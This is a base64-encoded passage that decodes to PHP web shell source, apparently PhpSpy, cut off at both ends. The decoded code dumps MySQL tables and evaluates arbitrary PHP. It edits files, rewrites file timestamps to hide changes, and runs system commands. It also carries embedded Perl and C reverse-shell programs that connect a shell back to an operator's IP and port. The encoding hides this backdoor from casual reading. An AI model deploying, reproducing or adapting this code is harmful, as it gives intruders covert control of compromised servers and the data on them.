ZV9udW0gPSAkdGFibGVfcm93cyA9ICRkYXRhX3NpemUgPSAwOyANCiAgICAgICAgICAgICAgICAkdGFibGVkYiA9IGFycmF5KCk7IA0KICAgICAgICAgICAgICAgIHdoaWxlKCR0YWJsZSA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsgDQogICAgICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSAkZGF0YV9zaXplICsgJHRhYmxlWydEYXRhX2xlbmd0aCddOyANCiAgICAgICAgICAgICAgICAgICAgJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOyANCiAgICAgICAgICAgICAgICAgICAgJHRhYmxlWydEYXRhX2xlbmd0aCddID0gc2l6ZWNvdW50KCR0YWJsZVsnRGF0YV9sZW5ndGgnXSk7IA0KICAgICAgICAgICAgICAgICAgICAkdGFibGVfbnVtKys7IA0KICAgICAgICAgICAgICAgICAgICAkdGFibGVkYltdID0gJHRhYmxlOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICRkYXRhX3NpemUgPSBzaXplY291bnQoJGRhdGFfc2l6ZSk7IA0KICAgICAgICAgICAgICAgIHVuc2V0KCR0YWJsZSk7IA0KICAgICAgICAgICAgICAgIHAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiPicpOyANCiAgICAgICAgICAgICAgICBtYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsgDQogICAgICAgICAgICAgICAgcCgkZGJmb3JtKTsgDQogICAgICAgICAgICAgICAgcCgnPHRyIGNsYXNzPSJoZWFkIj4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+TmFtZTwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD5Sb3dzPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPkNyZWF0ZV90aW1lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPHRkPlVwZGF0ZV90aW1lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgaWYgKCRoaWdodmVyKSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+RW5naW5lPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD5Db2xsYXRpb248L3RkPicpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIHAoJzwvdHI+Jyk7IA0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0YWJsZWRiIGFzICRrZXkgPT4gJHRhYmxlKSB7IA0KICAgICAgICAgICAgICAgICAgICAkdGhpc2JnID0gYmcoKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ciBjbGFzcz0iJy4kdGhpc2JnLiciIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJHRoaXNiZy4nXCc7Ij4nKTsNCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnKTsiPicuJHRhYmxlWydOYW1lJ10uJzwvYT4gWyA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnaW5zZXJ0XCcpOyI+SW5zZXJ0PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2Ryb3BcJyk7Ij5Ecm9wPC9hPiBdPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiR0YWJsZVsnUm93cyddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydDcmVhdGVfdGltZSddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydVcGRhdGVfdGltZSddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgaWYgKCRoaWdodmVyKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgcCgnPHRkPicuJHRhYmxlWydFbmdpbmUnXS4nPC90ZD4nKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kdGFibGVbJ0NvbGxhdGlvbiddLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD4mbmJzcDs8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+VG90YWwgdGFibGVzOiAnLiR0YWJsZV9udW0uJzwvdGQ+Jyk7IA0KICAgICAgICAgICAgICAgIHAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQ+Jy4kZGF0YV9zaXplLic8L3RkPicpOyANCiAgICAgICAgICAgICAgICBwKCc8dGQgY29sc3Bhbj0iJy4oJGhpZ2h2ZXIgPyA0IDogMikuJyI+Jm5ic3A7PC90ZD4nKTsgDQogICAgICAgICAgICAgICAgcCgnPC90cj4nKTsgDQoNCiAgICAgICAgICAgICAgICBwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOyANCiAgICAgICAgICAgICAgICBtYWtlaGlkZSgnZG9pbmcnLCdiYWNrdXBteXNxbCcpOyANCiAgICAgICAgICAgICAgICBmb3JtZm9vdCgpOyANCiAgICAgICAgICAgICAgICBwKCI8L3RhYmxlPiIpOyANCiAgICAgICAgICAgICAgICBmcigkcXVlcnkpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCiAgICB0YmZvb3QoKTsgDQogICAgQG15c3FsX2Nsb3NlKCk7IA0KfS8vZW5kIHNxbCBiYWNrdXAgDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsgDQogICAgISR5b3VyaXAgJiYgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyANCiAgICAhJHlvdXJwb3J0ICYmICR5b3VycG9ydCA9ICcxMjM0NSc7IA0KICAgICR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsgDQoNCiAgICAkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4gDQogICAgICAgICJhRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRaRHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlXUmtjajFwYm1WMFgyRjBiMjRvSkhSIi4gDQogICAgICAgICJoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUIi4gDQogICAgICAgICJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4gDQogICAgICAgICJrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpIi4gDQogICAgICAgICJLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsIi4gDQogICAgICAgICJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsgDQogICAgJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQyIuIA0KICAgICAgICAiQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBEUXA3RFFvZ2FXNTBJR1prT3cwS0lITjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnphVzQ3RFFvZ1kyaGhjaUJ5YlhOYk1qRmRQU0p5YiIuIA0KICAgICAgICAiU0F0WmlBaU95QU5DaUJrWVdWdGIyNG9NU3d3S1RzTkNpQnphVzR1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2djMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZCIuIA0KICAgICAgICAiS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISiIuIA0KICAgICAgICAic1pXNG9ZWEpuZGxzeVhTa3BPeUFOQ2lCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc2dEUW9nYVdZZ0tDaGpiMjV1WldOMEtHWmtMQyIuIA0KICAgICAgICAiQW9jM1J5ZFdOMElITnZZMnRoWkdSeUlDb3BJQ1p6YVc0c0lITnBlbVZ2WmloemRISjFZM1FnYzI5amEyRmtaSElwS1NrOE1Da2dldzBLSUNBZ2NHVnljbTl5S0NKYkxWMGdZMjl1Ym1WamRDZ3BJaWs3RCIuIA0KICAgICAgICAiUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcCIuIA0KICAgICAgICAiT3cwS0lHUjFjRElvWm1Rc0lESXBPdzBLSUdWNFpXTnNLQ0l2WW1sdUwzTm9JaXdpYzJnZ0xXa2lMQ0JPVlV4TUtUc05DaUJqYkc5elpTaG1aQ2s3SUEwS2ZRPT0iOyANCg0KICAgIGlmICgkc3RhcnQgJiYgJHlvdXJpcCAmJiAkeW91cnBvcnQgJiYgJHVzZSl7IA0KICAgICAgICBpZiAoJHVzZSA9PSAncGVybCcpIHsgDQogICAgICAgICAgICBjZignL3RtcC9hbmdlbF9iYycsJGJhY2tfY29ubmVjdCk7IA0KICAgICAgICAgICAgJHJlcyA9IGV4ZWN1dGUod2hpY2goJ3BlcmwnKS4iIC90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBjZignL3RtcC9hbmdlbF9iYy5jJywkYmFja19jb25uZWN0X2MpOyANCiAgICAgICAgICAgICRyZXMgPSBleGVjdXRlKCdnY2MgLW8gL3RtcC9hbmdlbF9iYyAvdG1wL2FuZ2VsX2JjLmMnKTsgDQogICAgICAgICAgICBAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsgDQogICAgICAgICAgICAkcmVzID0gZXhlY3V0ZSgiL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7IA0KICAgICAgICB9IA0KICAgICAgICBtKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7IA0KICAgIH0gDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nQmFjayBDb25uZWN0JykpOyANCiAgICBtYWtlaGlkZSgnYWN0aW9uJywnYmFja2Nvbm5lY3QnKTsgDQogICAgcCgnPHA+Jyk7IA0KICAgIHAoJ1lvdXIgSVA6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VyaXAnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JHlvdXJpcCkpOyANCiAgICBwKCdZb3VyIFBvcnQ6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pid5b3VycG9ydCcsJ3NpemUnPT4xNSwndmFsdWUnPT4keW91cnBvcnQpKTsgDQogICAgcCgnVXNlOicpOyANCiAgICBtYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdGFydCcsJ3ZhbHVlJz0+J1N0YXJ0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsgDQogICAgcCgnPC9wPicpOyANCiAgICBmb3JtZm9vdCgpOyANCn0vL2VuZCBzcWwgYmFja3VwIA0KDQplbHNlaWYgKCRhY3Rpb24gPT0gJ2V2YWwnKSB7IA0KICAgICRwaHBjb2RlID0gdHJpbSgkcGhwY29kZSk7IA0KICAgIGlmKCRwaHBjb2RlKXsgDQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnIzxcPyNzaScsICRwaHBjb2RlKSkgeyANCiAgICAgICAgICAgICRwaHBjb2RlID0gIjw/cGhwXG5cbnskcGhwY29kZX1cblxuPz4iOyANCiAgICAgICAgfSANCiAgICAgICAgZXZhbCgiPyIuIj4kcGhwY29kZTw/Iik7IA0KICAgIH0gDQogICAgZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V2YWwgUEhQIENvZGUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdldmFsJyk7IA0KICAgIG1ha2V0ZXh0KGFycmF5KCd0aXRsZSc9PidQSFAgQ29kZScsJ25hbWUnPT4ncGhwY29kZScsICd2YWx1ZSc9PiRwaHBjb2RlKSk7IA0KICAgIHAoJzxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuNG5nZWwubmV0L3BocHNweS9wbHVnaW4vIiB0YXJnZXQ9Il9ibGFuayI+R2V0IHBsdWdpbnM8L2E+PC9wPicpOyANCiAgICBmb3JtZm9vdGVyKCk7IA0KfS8vZW5kIGV2YWwgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnZWRpdGZpbGUnKSB7IA0KICAgIGlmKGZpbGVfZXhpc3RzKCRvcGZpbGUpKSB7IA0KICAgICAgICAkZnA9QGZvcGVuKCRvcGZpbGUsJ3InKTsgDQogICAgICAgICRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkb3BmaWxlKSk7IA0KICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAkY29udGVudHM9aHRtbHNwZWNpYWxjaGFycygkY29udGVudHMpOyANCiAgICB9IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDcmVhdGUgLyBFZGl0IEZpbGUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDdXJyZW50IEZpbGUgKGltcG9ydCBuZXcgZmlsZSBuYW1lIGFuZCBuZXcgZmlsZSknLCduYW1lJz0+J2VkaXRmaWxlbmFtZScsJ3ZhbHVlJz0+JG9wZmlsZSwnbmV3bGluZSc9PjEpKTsNCiAgICBtYWtldGV4dChhcnJheSgndGl0bGUnPT4nRmlsZSBDb250ZW50JywnbmFtZSc9PidmaWxlY29udGVudCcsJ3ZhbHVlJz0+JGNvbnRlbnRzKSk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQp9Ly9lbmQgZWRpdGZpbGUgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnbmV3dGltZScpIHsgDQogICAgJG9wZmlsZW10aW1lID0gQGZpbGVtdGltZSgkb3BmaWxlKTsgDQogICAgLy8kdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7IA0KICAgICRjYWNoZW1vbnRoID0gYXJyYXkoJ0phbnVhcnknPT4xLCdGZWJydWFyeSc9PjIsJ01hcmNoJz0+MywnQXByaWwnPT40LCdNYXknPT41LCdKdW5lJz0+NiwnSnVseSc9PjcsJ0F1Z3VzdCc9PjgsJ1NlcHRlbWJlcic9PjksJ09jdG9iZXInPT4xMCwnTm92ZW1iZXInPT4xMSwnRGVjZW1iZXInPT4xMik7IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidDbG9uZSBmaWxlIHdhcyBsYXN0IG1vZGlmaWVkIHRpbWUnKSk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdmaWxlJyk7IA0KICAgIG1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidBbHRlciBmaWxlJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J1JlZmVyZW5jZSBmaWxlIChmdWxscGF0aCknLCduYW1lJz0+J3RhcmZpbGUnLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBmb3JtZm9vdGVyKCk7IA0KICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidTZXQgbGFzdCBtb2RpZmllZCcpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ2ZpbGUnKTsgDQogICAgbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ3RpdGxlJz0+J0N1cnJlbnQgZmlsZSAoZnVsbHBhdGgpJywnbmFtZSc9PidjdXJmaWxlJywndmFsdWUnPT4kb3BmaWxlLCdzaXplJz0+MTIwLCduZXdsaW5lJz0+MSkpOyANCiAgICBwKCc8cD5JbnN0ZWFkICZyYXF1bzsnKTsgDQogICAgcCgneWVhcjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3llYXInLCd2YWx1ZSc9PmRhdGUoJ1knLCRvcGZpbGVtdGltZSksJ3NpemUnPT40KSk7IA0KICAgIHAoJ21vbnRoOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nbW9udGgnLCd2YWx1ZSc9PmRhdGUoJ20nLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7IA0KICAgIHAoJ2RheTonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RheScsJ3ZhbHVlJz0+ZGF0ZSgnZCcsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsgDQogICAgcCgnaG91cjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2hvdXInLCd2YWx1ZSc9PmRhdGUoJ0gnLCRvcGZpbGVtdGltZSksJ3NpemUnPT4yKSk7IA0KICAgIHAoJ21pbnV0ZTonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J21pbnV0ZScsJ3ZhbHVlJz0+ZGF0ZSgnaScsJG9wZmlsZW10aW1lKSwnc2l6ZSc9PjIpKTsgDQogICAgcCgnc2Vjb25kOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc2Vjb25kJywndmFsdWUnPT5kYXRlKCdzJywkb3BmaWxlbXRpbWUpLCdzaXplJz0+MikpOyANCiAgICBwKCc8L3A+Jyk7IA0KICAgIGZvcm1mb290ZXIoKTsgDQp9Ly9lbmQgbmV3dGltZSANCg0KZWxzZWlmICgkYWN0aW9uID09ICdzaGVsbCcpIHsgDQogICAgaWYgKElTX1dJTiAmJiBJU19DT00pIHsgDQogICAgICAgIGlmKCRwcm9ncmFtICYmICRwYXJhbWV0ZXIpIHsgDQogICAgICAgICAgICAkc2hlbGw9IG5ldyBDT00oJ1NoZWxsLkFwcGxpY2F0aW9uJyk7IA0KICAgICAgICAgICAgJGEgPSAkc2hlbGwtPlNoZWxsRXhlY3V0ZSgkcHJvZ3JhbSwkcGFyYW1ldGVyKTsgDQogICAgICAgICAgICBtKCdQcm9ncmFtIHJ1biBoYXMgJy4oISRhID8gJ3N1Y2Nlc3MnIDogJ2ZhaWwnKSk7IA0KICAgICAgICB9IA0KICAgICAgICAhJHByb2dyYW0gJiYgJHByb2dyYW0gPSAnYzpcd2luZG93c1xzeXN0ZW0zMlxjbWQuZXhlJzsgDQogICAgICAgICEkcGFyYW1ldGVyICYmICRwYXJhbWV0ZXIgPSAnL2MgbmV0IHN0YXJ0ID4gJy5TQV9ST09ULidsb2cudHh0JzsgDQogICAgICAgIGZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidFeGVjdXRlIFByb2dyYW0nKSk7IA0KICAgICAgICBtYWtlaGlkZSgnYWN0aW9uJywnc2hlbGwnKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUHJvZ3JhbScsJ25hbWUnPT4ncHJvZ3JhbScsJ3ZhbHVlJz0+JHByb2dyYW0sJ25ld2xpbmUnPT4xKSk7IA0KICAgICAgICBwKCc8cD4nKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgndGl0bGUnPT4nUGFyYW1ldGVyJywnbmFtZSc9PidwYXJhbWV0ZXInLCd2YWx1ZSc9PiRwYXJhbWV0ZXIpKTsgDQogICAgICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcsJ3R5cGUnPT4nc3VibWl0JywndmFsdWUnPT4nRXhlY3V0ZScpKTsgDQogICAgICAgIHAoJzwvcD4nKTsgDQogICAgICAgIGZvcm1mb290KCk7IA0KICAgIH0gDQogICAgZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0V4ZWN1dGUgQ29tbWFuZCcpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NoZWxsJyk7IA0KICAgIGlmIChJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAkZXhlY2Z1bmNkYiA9IGFycmF5KCdwaHBmdW5jJz0+J3BocGZ1bmMnLCd3c2NyaXB0Jz0+J3dzY3JpcHQnLCdwcm9jX29wZW4nPT4ncHJvY19vcGVuJyk7IA0KICAgICAgICBtYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidVc2U6JywnbmFtZSc9PidleGVjZnVuYycsJ29wdGlvbic9PiRleGVjZnVuY2RiLCdzZWxlY3RlZCc9PiRleGVjZnVuYywnbmV3bGluZSc9PjEpKTsgDQogICAgfSANCiAgICBwKCc8cD4nKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCd0aXRsZSc9PidDb21tYW5kJywnbmFtZSc9Pidjb21tYW5kJywndmFsdWUnPT4kY29tbWFuZCkpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnLCd0eXBlJz0+J3N1Ym1pdCcsJ3ZhbHVlJz0+J0V4ZWN1dGUnKSk7IA0KICAgIHAoJzwvcD4nKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICBpZiAoJGNvbW1hbmQpIHsgDQogICAgICAgIHAoJzxociB3aWR0aD0iMTAwJSIgbm9zaGFkZSAvPjxwcmU+Jyk7IA0KICAgICAgICBpZiAoJGV4ZWNmdW5jPT0nd3NjcmlwdCcgJiYgSVNfV0lOICYmIElTX0NPTSkgeyANCiAgICAgICAgICAgICR3c2ggPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7IA0KICAgICAgICAgICAgJGV4ZWMgPSAkd3NoLT5leGVjKCdjbWQuZXhlIC9jICcuJGNvbW1hbmQpOyANCiAgICAgICAgICAgICRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7IA0KICAgICAgICAgICAgJHN0cm91dHB1dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsgDQogICAgICAgICAgICBlY2hvICRzdHJvdXRwdXQ7IA0KICAgICAgICB9IGVsc2VpZiAoJGV4ZWNmdW5jPT0ncHJvY19vcGVuJyAmJiBJU19XSU4gJiYgSVNfQ09NKSB7IA0KICAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIA0KICAgICAgICAgICAgICAgMCA9PiBhcnJheSgncGlwZScsICdyJyksIA0KICAgICAgICAgICAgICAgMSA9PiBhcnJheSgncGlwZScsICd3JyksIA0KICAgICAgICAgICAgICAgMiA9PiBhcnJheSgncGlwZScsICd3JykgDQogICAgICAgICAgICApOyANCiAgICAgICAgICAgICRwcm9jZXNzID0gcHJvY19vcGVuKCRfU0VSVkVSWydDT01TUEVDJ10sICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsgDQogICAgICAgICAgICBpZiAoaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICRjb21tYW5kLiJcclxuIik7IA0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkcGlwZXNbMF0sICJleGl0XHJcbiIpOyANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzBdKTsgDQogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRwaXBlc1sxXSkpIHsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzFdKTsgDQogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gZmdldHMoJHBpcGVzWzJdLCAxMDI0KTsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBmY2xvc2UoJHBpcGVzWzJdKTsgDQogICAgICAgICAgICAgICAgcHJvY19jbG9zZSgkcHJvY2Vzcyk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBlY2hvKGV4ZWN1dGUoJGNvbW1hbmQpKTsgDQog